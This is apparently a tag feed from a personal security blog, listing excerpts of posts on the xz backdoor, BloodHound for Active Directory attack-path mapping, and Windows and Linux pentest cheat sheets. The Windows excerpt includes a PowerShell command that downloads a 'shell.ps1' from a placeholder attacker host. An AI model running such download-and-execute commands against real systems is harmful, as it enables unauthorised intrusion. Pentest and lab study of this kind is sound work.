https://gkourgkoutas.net/en/tags/tools/ Recent content in tools on gkourgkoutas.net Hugo -- gohugo.io Wed, 03 Apr 2024 15:50:59 +0900 https://gkourgkoutas.net/en/posts/xz/ Wed, 03 Apr 2024 15:50:59 +0900 https://gkourgkoutas.net/en/posts/xz/ For various reasons I wasn’t able to write a summary for 2023. But if I had known then what to expect in 2024 with the current xz/liblzma1, I would have written a modified version of Wilhelm Hey’s “Alle Jahre wieder”2 instead of the recap. As for the vulnerability itself, there are already a number of blogs on the subject, the best known being by Evan Boehs3 and Bruce Schneier4. My two cents? https://gkourgkoutas.net/en/posts/bloodhound-part-2/ Mon, 15 Nov 2021 18:37:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-2/ The first part of my BloodHound post was about the setup and usage of the tool. This part will mainly focous on the built-in queries and some small tips and tricks. I think the only way to fully grasp BloodHound is by frequently using it. Built-in queries After dumping our raw data with SharpHound1, it’s time to get to work. BH has some built-in queries which helps us to get a quick overview of the domain we are facing. https://gkourgkoutas.net/en/posts/windows-cheats/ Mon, 22 Mar 2021 19:21:03 +0100 https://gkourgkoutas.net/en/posts/windows-cheats/ So this is the windows equivalent of my post about linux cheatsheets. A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired.team. I also have grepable cheatsheets to download on my GitHub. Powershell Download from remote Webserver PS> Invoke-WebRequest -Uri "http://<ip>:<port>/shell.ps1." -OutFile "C:\path\file" With the following command, Powershell downloads the file and executes it immediately https://gkourgkoutas.net/en/posts/linux-cheats/ Sun, 21 Mar 2021 20:01:41 +0100 https://gkourgkoutas.net/en/posts/linux-cheats/ Writing a full hands-on of BloodHound takes more time than I thought, hence Part II is going to be delayed until I’m fully satisfied with the results. Thus I thought I will share some of my Linux cheats which I use (mostly for enumeration and privilege escalation stuff). A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired. https://gkourgkoutas.net/en/posts/bloodhound-part-1/ Sat, 20 Mar 2021 11:53:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-1/ What is BloodHound? BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a PowerShell ingestor. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths.